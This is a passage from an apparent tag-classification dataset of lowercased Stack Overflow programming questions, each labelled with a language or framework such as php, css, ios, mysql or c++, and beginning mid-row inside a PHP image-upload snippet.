id= .$custom_name.  );          } else {             echo  sorry  there was an error uploading your file. ;         }     }      function imagecreatefromfile( $filename ) {         if (!file_exists($filename)) {             throw new invalidargumentexception( file   .$filename.   not found. );         }         switch ( strtolower( pathinfo( $filename  pathinfo_extension ))) {             case  jpeg :             case  jpg :                 return imagecreatefromjpeg($filename);             break;              case  png :                 return imagecreatefrompng($filename);             break;              case  gif :                 return imagecreatefromgif($filename);             break;              default:                 throw new invalidargumentexception( file   .$filename.   is not valid jpg  png or gif image. );             break;     } }  &gt; </code></pre>,php
html assignment to a php variable  i am working on an email template. my requirement is to take the html that i get from a textbox and assign to a php variable and pass it as an argument to the constant contact web service. is there any way that can make the html assignable to a string variable i.e.  converting all the double quotes to single quotes etc.,php
need advice for best practices how to create small website using asp.net  i need to create one small application using asp.net with a login page. after login i want navigation menu items. how do i create these navigation menuitems  i have some ideas in mind using iframe  usercontrols or master page.,asp.net
how to get a link library of ipa files downloaded from the app  i download one ipa file from appstore and want to get list of the static lib that linked any one can help me,ios
specify date range with rails `date_select`  is there a way to specify a date range using the rails <a href= http://apidock.com/rails/actionview/helpers/datehelper/date_select  rel= nofollow >date_select</a> form helper. for example  i want the available options to be from today through  say  the end of the week. i know you can specify <code>end_year</code>  but i m needing to specify a specific date.,ruby-on-rails
init from nib  but alloc only [uiviewcontroller]  so i m doing this in my code now:   <pre><code>uiviewcontroller* ctrl =      [[uiviewcontroller alloc] // i m alloc ing a uiviewcontroller...         initwithnibname:@ thenibname  // but this nib has  within        // interface builder  a link to  uiviewcontrollerderivative .  so really         // `ctrl` is a uiviewcontrollerderivative instance  not just        // a uiviewcontroller instance.         bundle:nil] ; </code></pre>   the reason i m doing this is it makes a massive convenience in writing some code that pushes modal dialogs on.. since objective-c doesn t support &lt;template&gt;.    my question is  <strong>is this ok  </strong>  can i <code>[alloc]</code> a <code>uiviewcontroller</code> only  while really what comes out of a nib is an instance of <code>uiviewcontrollerderivative</code>   or will it bite me in the ass later,objective-c
if statement and multiple or conditions using jquery  how can i check if somebody clicks any of the above id s (#transfers #shopper #tasks) and then add a click event to an other button in order to activate it     <pre><code> &lt;code&gt;&lt;script&gt; $(function() {     function updateservicesgroup(prop  value) {         $( #transfers ).prop(prop  value);         $( #shopper ).prop(prop  value);         $( #tasks ).prop(prop  value)     }     var input = $( #services );     var servicesgroup = $( #servicesgroup );     input.on( change   function() {         var ischecked = input.is( :checked )         if (!ischecked) {             updateservicesgroup( checked   false);         }         updateservicesgroup( enable   !ischecked)         $(servicesgroup).toggleclass( active );     }); });    &lt;/script&gt;   &lt;script&gt;  $( #transfers  ).click(function() {     $( #services ).click();   });     &lt;/script&gt;&lt;/code&gt; </code></pre>,jquery
how to show a variable in a url and hide another   i m still finding my way around php and struggling at the moment with a meta url.not sure what i m missing here so any help would be appreciated.   <pre><code>                $make = $_get[ meta_make ];                 $model = $_get[ meta_model ];                  ////////////////////////////////////////////////////////////////                  if ($make ==    and $model ==   ) {                     $term =   ;                     $slug =   ;                     $tax =   ;                     $querytax =   ;                 }elseif ($make !=    and $model ==   ) {                     $term =  terms ;                     $slug =  id ;                     $tax =  taxonomy ;                     $querytax =  tax_query ;                     $searchterm = $make&amp;;                 }elseif ($make !=    and $model !=    ){                     $term =  terms ;                     $slug =  field ;                     $tax =  taxonomy ;                     $querytax =  tax_query ;                     $searchterm = $model;                 } </code></pre>   the code above returns the following url:   <pre><code>mysite.com/ meta_make=$make&amp;meta_make=$model </code></pre>   which is fine when both make and model are specified. however  when make is specified but model isn t i need the url to show only make and not model on the url:   <pre><code>mysite.com/ meta_make=$make </code></pre>   but instead it shows both and meta_make is empty:   <pre><code>mysite.com/ meta_make=$make&amp;meta_make= </code></pre>,php
retrieving contacts in list view and displaying the name and phone number in next activity with click action  i have got the code where through content provider i am retrieving the phone contacts and displaying them in list format. i want to display the phone no and name of the particular person in next activity when i click on the list format contacts from first activity. i am getting errors in this its not able to perform click operation and display it on to next activity please help me with this.    here is the first activity through i am display the contacts through content provider.   <pre><code>import android.app.activity;  import android.app.listactivity;  import android.content.intent;  import android.database.cursor;  import android.net.uri;  import android.os.bundle;  import android.provider.contactscontract;  import android.view.view;  import android.widget.adapterview;  import android.widget.adapterview.onitemclicklistener;  import android.widget.listview;  import android.widget.simplecursoradapter;  import android.widget.textview;    public class msatactivity extends listactivity   {  textview contactstv;  listview lv;  cursor c;  public static final uri content_uri =   uri.parse( content://com.android.contacts/contacts/1557 );   public void onlistitemclick(view v)  {      intent outdata = new intent(this full.class);   //   setresult(activity.result_ok  outdata);       startactivity(outdata);  }    public void oncreate(bundle savedinstancestate)     {       super.oncreate(savedinstancestate);        setcontentview(r.layout.main);        uri mycontacts = contactscontract.commondatakinds.phone.content_uri;                 c = getcontentresolver().query(mycontacts  new string[]        {contactscontract.commondatakinds.phone._id         contactscontract.commondatakinds.phone.display_name         contactscontract.commondatakinds.phone.number}               null  null  null);         string[] columns = new string[]                                                   {                 contactscontract.commondatakinds.phone.display_name                 contactscontract.commondatakinds.phone.number};                       int[] to = new int[] {r.id.text1 r.id.text2};                simplecursoradapter madapter = new   simplecursoradapter(this r.layout.listitems  c  columns  to);               setlistadapter(madapter);                lv.setonitemselectedlistener(new onitemclicklistener()                {    public void onitemclick(adapterview&lt; &gt; parent  view view  int pos  long id)   {   int rowid = c.getint(c.getcolumnindexorthrow(contactscontract.commondatakinds.phone._id));  uri outuri = uri.parse(content_uri.tostring() +  /  + rowid);   intent outdata = new intent();   outdata.setdata(outuri);   setresult(activity.result_ok  outdata);   finish();   }               });    }    } </code></pre>   here is the second activity.......   <pre><code>import android.app.activity;  import android.content.intent;  import android.database.cursor;  import android.net.uri;  import android.os.bundle;  import android.provider.contactscontract;  import android.view.view;  import android.widget.button;    public class full extends activity  {        private static final int contact_picker_result = 1001;      string name;      cursor cursor;      /** called when the activity is first created. */      @override      public void oncreate(bundle savedinstancestate)      {          super.oncreate(savedinstancestate);          setcontentview(r.layout.main1);          button getcontacts = (button)findviewbyid(r.id.button1);          getcontacts.setonitemclicklistener(new view.onitemclicklistener()           {                public void onclick(view v)              {                  intent i = new intent(intent.action_pick                           contactscontract.commondatakinds.phone.content_uri);                  startactivityforresult(i  contact_picker_result);                }          });      }      protected void onactivityresult(int requestcode  int resultcode  intent data) {          if (resultcode == result_ok)          {              switch (requestcode)              {              case contact_picker_result:                      try {                      uri result = data.getdata();                      string id = result.getlastpathsegment();                        //get name                      cursor = getcontentresolver().query(result  null  null  null  null);                      if (cursor.movetofirst())                      {                          name =  cursor.getstring(cursor.getcolumnindex(contactscontract.contacts.display_name));                      }                   }                      catch (exception e)                       {                        }              }          }      }  } </code></pre>,android
update angular typeahead data using angular-ui bootstrap  the fix is to step away and think about it  rookie mistake.. i had my trace in the wrong spot and the data was getting loaded after i changed the items...     so call off the dogs  but thanks for listening...    how do i change angular typeahead data   nothing seems to update the initial list of data.    js:   <pre><code>$scope.items = [{name:  jack   age: 44}  {name: dave  age: 55 }]; $scope.selected =   ;  $scope.change = function() {    $scope.items = [{name: dave  age: 55 }]; // typeahead data never sets to this    $scope.items = []; // typeahead data never sets to this }); </code></pre>   html:   <pre><code>&lt;div data-ng-click= change() &gt;&lt;/div&gt;  &lt;input data-typeahead= person as person.name for person in items | filter:$viewvalue  data-ng-model= selected  /&gt; </code></pre>,angularjs
how to use iphone ringtone in app  i want to use ringtones of iphone in my app. is this possible  please help on iam stuck on this point     thanks,iphone
custom css elements overwriting each other  i added the following custom css to my wordpress theme to change the location of the menu on the mobile version of the site:    <pre><code>@media (max-width: 767px) { .mob-nav { top: 25% !important; } </code></pre>   i then added this code to adjust the margins on the logo for the full desktop version of the website:   <pre><code>@media (min-width: 992px) { .right-menu .logo img { margin-top: -15px !important; }  @media (min-width: 768px) { .right-menu .logo img { margin-bottom: -5px !important; } </code></pre>   when i added the second bit of code it overwrites the css i added for the menu. i know they re conflicting somehow but i m not sure how to fix it.     thanks,css
how do i configure mysql to save data on another volume   i m (re)installing mysql 5.5.23 on my mac (snow leopard) and since i have two volumes  one with much more space than the boot volume  i d like to configure it to write all its data to the bigger volume instead of to the boot vol.     i tried moving the data dir to my other volume and using a symlink to it from the installation directory  but i wasn t able to set the ownership of the symlink to the same ownership as the directory originally had ... and mysql no longer starts. i can t find logs to see what happens when it tries to startup  but i assume it dislikes something about my present arrangement.    anybody have experience making this work     eta: i found this in my macbook.local.err file:   <pre><code>120423 13:01:21 [error] /usr/local/mysql/bin/mysqld: can t find file:  ./mysql/host.frm  (errno: 13) 120423 13:01:21 [error] fatal error: can t open and lock privilege tables: can t find file:  ./mysql/host.frm  (errno: 13) ... ^g/usr/local/mysql/bin/mysqld: can t find file:  ./mysql/plugin.frm  (errno: 13) 120423 14:16:55 [error] can t open the mysql.plugin table. please run mysql_upgrade to create it. </code></pre>,mysql
how can i retrieve the values from a generic audit table reconstituted as a rowset with meaningful column names in sql   so i ve got this audit table  looks like this:   <pre><code>use [databasename] go /****** object:  table [erauser].[audit]    script date: 05/20/2009 17:07:11 ******/ set ansi_nulls on go set quoted_identifier on go set ansi_padding on go create table [erauser].[audit](     [auditid] [int] identity(1 1) not null      [type] [char](1) collate sql_latin1_general_cp1_ci_as null      [tablename] [varchar](128) collate sql_latin1_general_cp1_ci_as null      [primarykeyfield] [varchar](1000) collate sql_latin1_general_cp1_ci_as null      [primarykeyvalue] [varchar](1000) collate sql_latin1_general_cp1_ci_as null      [fieldname] [varchar](128) collate sql_latin1_general_cp1_ci_as null      [oldvalue] [varchar](1000) collate sql_latin1_general_cp1_ci_as null      [newvalue] [varchar](1000) collate sql_latin1_general_cp1_ci_as null      [updatedate] [datetime] null default (getdate())      [username] [varchar](128) collate sql_latin1_general_cp1_ci_as null ) on [primary]  go set ansi_padding off </code></pre>   the problem is  for reasons out of my control  i need to return data to users (other developers that are the users of this system) as rowsets that replicate the source table. how can i turn this schema on its side and get the values in fieldname as the column headings for a rowset  i m using sql 2005. i will know the tablename and the updatedate.,sql
"css - responsivly center div  position fixed  i have a jsfiddle here <a href= https://jsfiddle.net/ajvvjnq3/  rel= nofollow >https://jsfiddle.net/ajvvjnq3/</a>    really simple  i have a div with fixed width  position fixed and centered.    below 600px i want the div to be 100% width with 20px margin left and right.    i can t get <code>margin-right: 20px;</code>    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.block{
     background: red;
     height: 100px;
     position: fixed;
     top: 50px;
     left: 50%;
     margin-left: -200px;
     width: 400px;
 }
 
 @media only screen and (max-width: 600px){
     .block{
         left: 0;
         margin-left: 20px;
         margin-right: -20px;
         width: 100%;
     }
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= block &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",css
how do i find out the provisional profile for an ios app in my itunes connect  i am trying to upload a new version of my app  am i correct that the only way to do this is use the same profile as the original app       if this is so how do i find the provisional profile used for the original app  i have my itunes connect but can t work it out,ios
what all testing will be done by apple testers on my iphone apps  i have a doubt  after finishing my iphone apps  if i submit that for testing... how they test my application. what are the testing strategies they use  like blackbox testing  unit testing like that.,iphone
why  while  loop does not end when condition is met   i have an apparently easy issue but i just cannot get what am i doing wrong.    i ve got a code which will test a 60 character entered text in console and if in that text the  terrorist  word appears it will prompt the message  suspect text  and when that word does not appear it would show  nothing suspect .    the text entering  mode  should finish when the word  done  is entered. this seems to be my problem because my while loop just does not want to end.    any hints    <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt;  int start_with (char *sir1  char *sir2) {     int i j k;     int len_sir2=strlen(sir2);     char sir3[60]=  ;     for (i=0;i&lt;=len_sir2;i++)     {         sir3[i]=sir1[i];     }     k=(strcmp(sir2 sir3))   0:1;     return k; }  int main() {     char *txt1;     char sir1[60]=    sir2[60]= terorist   sir_test[60]= done ;     int i j lensir1  contor=0 buf_de_la=0  buf_la;        while (sir1!=sir_test)     {         printf( enter desired text and press enter \n );         gets(sir1);         printf( \n );         buf_la=strlen(sir1);         char *txt1= nothing suspect ;         while (buf_de_la&lt;buf_la-7)         {             char sirbuf[60]=  ;             j=buf_de_la;             for (i=0;i&lt;=7;i++)             {                 sirbuf[i]=sir1[j];                 j=j+1;             }              if (start_with(sirbuf sir2)==1)             {                 txt1= suspect text entered! ;                 break;             }              buf_de_la=buf_de_la+1;          }         printf( %s\n  txt1);         getch();         system( cls );     }      return 0;   } </code></pre>,c
what is object graph in java   whenever i study garbage collector i hear the term object graph. what does it mean exactly,java
drawing multiple rectangles c#  what would be the best way to draw 25 rectangles (5*5) in c#  i later need to be able to reach a specific rectangle and change its color  for instance change the color to red if the user inputs the incorrect word. would it be more suitable to create an array of rectangles in this case     this is what i have so far   <pre><code>graphics g = picturebox1.creategraphics();  int x =0; int y= 0; int width = 20; int height = 20; for (int i = 0; i &lt; 25; i++) {     if (i &lt;= 4)     {         g.fillrectangle(brushes.blue  x  y  width  height);         x += 50;     }     else if (i &gt; 4)     {         y = 50;         g.fillrectangle(brushes.blue  x  y  width  height);         x += 50;     } } </code></pre>,c#
problem with paypal integration with iphone  actually i am trying to execute following code to implement paypal...   <pre><code>- (void)viewdidload  {     [super viewdidload];     [paypal initializewithappid:@ app-80w284485p519543t  forenvironment:env_sandbox]; }   -(ibaction)paypal:(id)sender {     paypal *payobject=[paypal getinstance];     paypalpayment *obj=[[paypalpayment alloc]init];     obj.recipient=@ priyankasaroha@gmail.com ;     obj.paymentcurrency=@ usd ;     obj.description=@ teddy bear ;     obj.merchantname=@ priyanka ;     obj.subtotal = [nsdecimalnumber decimalnumberwithstring:@ 10 ];      [payobject checkoutwithpayment:obj];         } </code></pre>   bt wen i m trying to run this getting error during linking time with .o files of mobile payment library..like     _objc_class_$_nscharacterset   referenced from:                      objc-class-ref-to-nscharacterset in libpaypalmep.a(pputils.o)  please tell me how to solve dis ..,iphone
working with multiple classes files in objective c  i have a class called graphicobject that looks like this:   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface graphicobject : nsobject {     int fillcolor;     int linecolor;     bool filled; } -(void) fillcolor: (int) fc; -(void) linecolor: (int) lc; -(int) getfilledcolor; -(int) getlinecolor; -(bool) filled: (int) isfilled; @end </code></pre>   and i created 3 other files of <code>rectangle</code>  <code>circle</code> and <code>triangle</code> (each of course have .h/.m).     for them to have access to this exact same methods  is it enough to just <code>#import</code> the <code>graphicobject.h</code>      this is the graphicobject.m :   <pre><code>#import  graphicobject.h  #import  rectangle.h   //--------------------------get and set filled/line colors----------------------------------//   -(void) fillcolor:(int)fc {     fillcolor = fc; }  -(void) linecolor:(int)lc {     linecolor = lc; }  -(int) getfilledcolor {     return fillcolor; }  -(int) getlinecolor {     return linecolor; }  //-------------------------------------is filled --------------------------------------------//  -(bool) filled:(int)isfilled {     isfilled = fillcolor;     return isfilled; } </code></pre>   i tried to do this from main :   <pre><code>rectangle *myr = [[rectangle alloc] init];          [myr fillcolor:1];         nslog(@ %i   myr.getfilledcolor); </code></pre>   and im getting error...appreciate the help.,objective-c
translating a phrase using a dictionary  i m attempting to translate a phrase using a dictionary by matching each word in that phrase with a dictionary s key.    <a href= http://paste.org/62195  rel= nofollow >http://paste.org/62195</a>    i can translate it just well through the interactive shell  but when it comes to the actual code:   <pre><code>def translate(dict):      dict ==&gt; string  provides a translation of a typed phrase      string =  hello      phrase = input( enter a phrase:  )     if string in phrase:          if string in dict:             answer = phrase.replace(string  dict[string])             return answer </code></pre>   i m not sure what to set string to that would check for anything other than  hello.,python
html dispplay:inline - getting underscore  i have the following code. i cannot understand why after the image (videocmera_icon.png) it puts and underscore. i find that this happens only when i have    <pre><code>    style= display:inline; </code></pre>   here is the code:   <pre><code>     &lt;div id= homevideo1  style= display:inline; &gt;           &lt;a href= # &gt;              &lt;img src= images/videocamera_icon.png  border= 0 &gt;            &lt;/a&gt;            &lt;a href= #  style= text-decoration: none &gt;              &lt;span class= text3 &gt;view video&lt;/span&gt;             &lt;/a&gt;       &lt;/div&gt;  </code></pre>,html
how to change rails default  destroy  action in javascript   i would like to change the default functionality rails uses for the destroy action by adding ajax and an animation to remove the item. i know how to implement the javascript  but i m not sure what is the best way to  tap in  or override this bit of javascript  especially now that the jquery_ujs file is vendored away somewhere due to the asset pipeline. what is the best practice for doing this,ruby-on-rails
gridview - databinding methods such as eval()  xpath()  and bind() can only be used in the context of a databound control  the problem comes from:    double ditempremium = (eval( premium )!= dbnull.value)   (double)(eval( premium )) : 0;    and i need help changing it.    i am working with a gridview.   <pre><code>protected void dgcustomer_databound(object sender  system.eventargs e)     {             label plabel = new label();             double ditempremium = (eval( premium )!= dbnull.value)   (double)(eval( premium )) : 0;             plabel.text = ditempremium.tostring( 0.00 );             dtotal_m += ditempremium;          dgcustomer.headerrow.tablesection = tablerowsection.tableheader;         dgcustomer.footerrow.tablesection = tablerowsection.tablefooter;         dgcustomer.footerrow.controls.add(plabel);      }       protected void dgcustomer_rowcreated(object sender  gridviewroweventargs e)     {         if (e.row.rowtype == datacontrolrowtype.datarow)         {           dtotal_m += convert.todouble(databinder.eval(e.row.dataitem  premium ));          }         else if (e.row.rowtype == datacontrolrowtype.footer)         {             e.row.cells[0].text =  totals: ;             e.row.cells[1].text = dtotal_m.tostring( 0.00 );              e.row.cells[1].horizontalalign = horizontalalign.right;             e.row.font.bold = true;         }     } </code></pre>   in html i used   <pre><code> &lt;asp:templatefield&gt;                         &lt;itemtemplate&gt;                             &lt;%#databinder.eval(dataitem  premium )%&gt;&lt;/itemtemplate&gt;                         &lt;headertemplate&gt;                             premium amount paid&lt;/headertemplate&gt;                     &lt;/asp:templatefield&gt; </code></pre>   i added databinder and dataitem but still nothing.    thank you!,asp.net
how to debug crash logs  any one help me to debug crash logs.thanks in advance.    regards,objective-c
settimeout with variables passed in fuction  i need a delay before executing certain function in java script. i could use settimeout but the problem is i have two variables passed to function. i need to syntax for settimeout in this case.can anyone help,javascript
objective-c how to get days of previous week   how can i get an array of days of previous week  for example - today is wed/04/2013  which is the forth day of week if first day of week is sunday. i need array with   sunday/25/2013    mon/26/2013 ..... sat/31/2013  i am doing this but it didn t work help required..   <pre><code> nscalendar *mycalendar = [[nscalendar alloc] initwithcalendaridentifier:nsgregoriancalendar]; nsdatecomponents *currentcomps = [mycalendar components:( nsyearcalendarunit | nsmonthcalendarunit | nsweekofyearcalendarunit | nsweekdaycalendarunit | nshourcalendarunit | nsminutecalendarunit) fromdate:weekdate]; int ff = currentcomps.weekofyear; nslog(@ 1  %d   ff);   [currentcomps setday:2]; // 1: sunday [currentcomps setweek: [currentcomps week] - 1]; nslog(@ currentcomps setweek:&gt;&gt;&gt;&gt;&gt;&gt;  %@   currentcomps); nsdate *firstdayoftheweek = [mycalendar datefromcomponents:currentcomps]; nslog(@ firstdayoftheweek&gt;&gt;&gt;&gt;&gt;&gt;  %@   firstdayoftheweek); nsstring *firststr = [mydateformatter stringfromdate:firstdayoftheweek]; lbl_day1.text = firststr; </code></pre>,objective-c
c# picturebox image dont draw complete  i create a panel and inside this panel i create a picture box. this have no default image. after a function i load a image und put it into this picturebox. the image was bigger as the panel and i want to scroll the image but the image draw only in the first area to see and if i scroll the image dont draw complete. how i can fix this     <pre><code>        image treeimg = new bitmap(imgpath);         maletreepicturebox.width = treeimg.width;         maletreepicturebox.height = treeimg.height;         maletreepicturebox.image = treeimg;         actionpanel.autoscrollminsize = new size(treeimg.width  drivertreeimg.height); </code></pre>   <a href= https://i.stack.imgur.com/xxsre.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/xxsre.png  alt= enter image description here ></a>    this is the result,c#
"i have a clipping class in css that work only in the chrome and did not work in firefox and internet explorer  how can i fix it   <strong>here the css</strong> i used search for my problem  but i couldn t find any similar question. i have prblem with css on firefox.  clip-path:  doesn t show.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>    .clip {
        /* place in the before area */
 content:  ;
 width: 100%;
 max-width: 100%;
 display: block;
 height: 100%;
 position: absolute;
 top: 0;
 left: 0;
 
 background-color: rgba(58  60  69  .6);
         -webkit-clip-path: polygon(50% 100%  100% 90%  100% 0%  0% 0%  0 90%);
         clip-path: polygon(50% 100%  100% 90%  100% 0%  0% 0%  0 90%);
         }</code></pre>
 </div>
 </div>",css
ie ignoring margins between 2 horizontal divs  i m putting a ul list in a div which is below a second div. the vertical gap in chrome  ff etc is a little long. so  i m puting a 10px negative margin on the ul div. looks great except in ie. with the negative margin  the list is almost overlapping the title text     i have done a lot of reading re inline: block; zoom: 1; position: relative etc  but can t seem to get the page to display right in ie. bit of a newb on css so specific directions on what has to be applied to what div would be appreciated..    simple for the experts i expect thanks randall,css
importing a module in python from a string  i have a string <code>type</code> with a value of  mbsquareobject . <code>mbsquareobject</code> is class in a file called <code>mbobject</code>. i want to import <code>mbsquareobject</code> dynamically.     if the square object was in a file of its own  this works:   <pre><code>__import__(type) </code></pre>   however  what i want to do is the equivalent of <code>from mbobject import mbsquareobject</code>. however  this doesn t work:   <pre><code>from mbobject __import__(type) </code></pre>   how else could i do this     edit: the answers given are assuming that mbsquareobject is some sort of object on mbobject  but it s just another class. mbsquareobject is a subclass of mbobject  so they are listed in the same file.    edit: for some reason none of the answers are working. here s what i have:   <pre><code># this is imported at the top of the file from mbobject import mbobject type =  mbsquareobject  __import__( mbobject   globals()  locals()  [type]) object_class = eval(type) object = object_class() </code></pre>   error: nameerror: name  mbsquareobject  is not defined,python
read data from buffer  how can i access the data from a buffer    <pre><code>int winapi mrecv( socket s  char *buf  int len  int flags ) {     // code to access the data from buffer } </code></pre>,c++
prevent angular ng-repeat on page load  i have an ng-repeat loop set up on my page that initially i don t need anything done with until an action is called (i get some $http data returned and the ng-repeat loop populates content there).  the issue is that in page load the console is throwing me an error because it doesn t have any data on page load to do anything with in that loop.  should i just disregard the error because everything still works fine or is there an action i can take to prevent this error on initial page load,angularjs
in mysql will unique index act as fast lookup for varchar column   if i have a column <code>short_title</code> in mysql table and it is defined as unique  do i also have to add fulltext for it to be searchable really fast  or does unique already guarantee it will be searchable quickly (without full table scan)     thanks  boda cydo,mysql
re-prompt user to input a valid input in java  i have a code that requests input from the user  it runs just fine however i want to re-prompt the user to input a valid response instead of continuing to run.    here s the code:   <pre><code>import java.io.*; public class skilodge {      public static void main(string[] args) throws exception     {          inputstreamreader ui = new inputstreamreader (system.in);         bufferedreader inputreader = new bufferedreader(ui);          system.out.println( select membership type: (gold/silver/bronze) );         string membership = inputreader.readline();          double x = 0d;          if (membership.equals( gold ))             system.out.println( gold membership selected: £  + (x = 750));         else if (membership.equals( silver ))             system.out.println( silver membership selected: £  + (x = 450));         else if (membership.equals( bronze ))             system.out.println( bronze membership selected: £  + (x = 250));         else system.out.println( invalid membership );            system.out.println( do you require snow tyre rental  (yes/no) );         string tyrerental = inputreader.readline();           if (tyrerental.equals( yes ))             system.out.println( the total so far with tyre rental: £  + (x = x * 1.1));         else if (tyrerental.equals( no ))             system.out.println( the total so far without tyre rental: £  + x);         else system.out.println( invalid response );          system.out.println( would you like to reserve parking  (yes/no) );         string parking = inputreader.readline();          if (parking.equals( yes ))         system.out.println( membership total: £  + (x = x * 1.08));         else if (parking.equals( no ))         system.out.println( membership total: £  + x);         else system.out.println( invalid response );     }  } </code></pre>   so for example if the user inputs gold  the program prints out 750  if not then it prints out invalid membership and asks for a valid one.    same goes for the following questions  so the program only accepts yes and no as valid responses.    thanks in advance,java
nested functions are disabled - why do i get this error message   when i accidentally wrote:   <pre><code>uiviewcontroller tmp*=_currentviewcontroller; </code></pre>   instead of:   <pre><code>uiviewcontroller *tmp=_currentviewcontroller; </code></pre>   i get a nested functions are disabled error. can you explain this,objective-c
request for member `push_back  in `num   which is of non-class type `int[((unsigned int)((int)n))]  <pre><code>#include &lt;iostream&gt; #include &lt;vector&gt; #include &lt;numeric&gt; using namespace std; std::vector&lt;float&gt; num;  float mean (float num[]  float n) {     int i;     float sum=0;     for(i=0;i&lt;n;i++)     sum=sum+num[i];     return (sum/n);  } int main()   {      int minuselements;       int n;     cout &lt;&lt;  enter number of elements: ;       cin &gt;&gt; n;        minuselements = n - 1  ;     int i j;       float  temp;      float f;     for(i=0;i&lt;n;i++)       {     cin &gt;&gt; f;     num.push_back(f);     }       cout &lt;&lt;  enter   &lt;&lt; n &lt;&lt;   numbers:\n ;     for(i=0;i&lt;n;i++)       cin &gt;&gt; num[i];     cin.get();     float m = mean(&amp;num[0]  num.size());       //if num is float[n] or float* (num of elements = n)     float mean = std::accumulate(num  num + n  0) / n;     cout&lt;&lt;mean; }   //46 no match for  operator+  in  num + n   </code></pre>,c++
forward redirect to previous page  i have a webpage which is linked to from a number of different webpages  a user clicks a link on one of the parent pages  arrives at the webpage and completes a task. when the task is complete the user needs to be redirected to the previous page.    i m aware i could use the window.history.back() / window.history.go(-1) functions - however what i d really like is something which the browser considers a  forward  action so as not to confuse the users if they click the forward/back button after a redirect.    i ve tried using document.referrer but this gets blanked in the event of a page reload on the webpage.    the solution would need to be compatible back to ie8 (unfortunately!). any suggestions would be much appreciated.,javascript
query c# code dom  i would like to issue queries against a c#/.net code base in order to get instances that match that query.    for instance could i currently get all method a s which do not have a return value and which call classb.methodb  or all methods which operate on class variables and so on.    is this easily possible,.net
mysql virtual column average  i am trying to make a database for film reviews to use for a homepage for some friends of mine.    i want to make a virtual column that adds all movie characters (from 1-6) and makes an average.    my database is like this:   <pre><code>nummer|navn|forfatter|sted|dato|karakter|martin|lars|lund|bjorn|mikkel|henrik|silve|olsen|jørgen|amund|einar  one entry is for instance like this:  3|garden state|lars|felix kino|2005-01-03|5.11 |5|5|5|0|5|0|5|5|5|0|5| </code></pre>   but i want the column [karakter] (average rating of movie) to be a virtual column.    my problem is that  as you see  not everyone of my friends watch every movie.    so how can i automatically make a column with the average rating     edit:     entered a lot of info and made two tables. one with individual ratings and one with basic movie info    <a href= http://i.stack.imgur.com/lxlvx.png  rel= nofollow >http://i.stack.imgur.com/lxlvx.png</a> || <a href= http://i.stack.imgur.com/3xy9q.png  rel= nofollow >http://i.stack.imgur.com/3xy9q.png</a>    where you thinking i should do more like this place i found: (link is in bottom of joachim isaksson s post since stackoverflow hinder me in making a link)    i feel the table arrangement in the link is not so good really. isn t that very case sensitive  what if i spell a name slightly wrong wrong. that would mess up the result.    edit2: very messy but stackoverflow hindered me in making links and stuff sorry    edit3: after a long time i have put everything in tables like i was told to do. final code should be like this:   <pre><code>select m.*  avg(r.rating) as average from movie m join rating r   on m.id = r.movie_id   group by m.id </code></pre>   i have 3 tables: 1 quite short list with reviewers and id. one with movie info. and one with movie id  reviewer id  reviewer grade.,mysql
disabling prompt while reading .doc file  how to disable prompt while opening word file using microsoft.office.interop.word. prompt is as follows: test.doc is locked for editing by another user. do you want to:  .open a read only copy  .create a local copy and merge your changes later.  .receive notification when the original copy is available.,.net
http error 404.3 - not found ... while downloading .dae files on asp.net  when i try to access a file extension .dae on iis server... i get this error:    the page you are requesting cannot be served because of the extension configuration. if the page is a script  add a handler. if the file should be downloaded  add a mime map.    looks like i am not able to configure something on my iis server. can somebody please direct me to the right places. i am using visual express 2012 for web.,asp.net
any recommended rails deployment tutorial book   i m confused by rails deployment.    i followed this guide(<a href= https://github.com/rocodev/guides/wiki/setup-production-development  rel= nofollow >https://github.com/rocodev/guides/wiki/setup-production-development</a>) to setup environment on my server.    i have done all the installation proccess  but it doesn t work!!    when i run  cap deploy:setup   it asked me to type password  and i typed  but it said permission denied.    i couldn t find out what the problem is  and i can t clearly know some parts of this guide.    are there any resources(maybe a book) can give me a robust understanding about rails deployment     thank you.,ruby-on-rails
tool to make iphone apps  i am new to iphone and know about xcode. but i have read that various tools are also available to make iphone apps... which are also accepted by apple.... i want to start one of them but don t know which one should be the best and easy one.... i have knowledge of iphone and objective c....and know java also.....    i am basically interested in making games and some web applications....    please also tell about their cost...because i don t want to spend money on them...    please help...,iphone
using 3 primary keys as one foreign key  i need to send data from 3 different tables to one table.<br> lets say t1  t2  t3 are sending id to employee. here id is primary key in t1  t2  t3 pointing id as foreign key in employee.    when i do this it gives error of  foreign key conflict in t2  when insertion from t1  t3 for t2 and t1 for t3.    there is one solution with me that i make separate employee table for each t1  t2 and t3 but you know all of these table would carry same data so why not to put them in one table.  is there any suggestions please.,sql
how to read all files contained in a directory (windows)  i need to transfer all the files contained in a directory.    how should i proceed to read all the files in a specific directory and then transfer via socket     <strong>edit:</strong> i have no problems with the transfer  just do not know what should i do to download a complete directory.,c++
vb.net webbrowser & navigator.geolocation  how do i trap the message that shows in ie9 <em>abc.html wants to track your physical location. allow once </em> this is not appearing in webbrowser control at all when loaded from the page abc.html.,.net
getting warning assigning a const void * to a char * array <pre><code>const void * keyptr2 = [key bytes];// key is nsdata type char (* keyptr)[32] = keyptr2; </code></pre>  <blockquote>    warning:<strong><em>initializing  char (</em>)[32]  with an expression of type  const void <em>  discards qualifiers</em></strong>.  </blockquote>   what should i do,objective-c
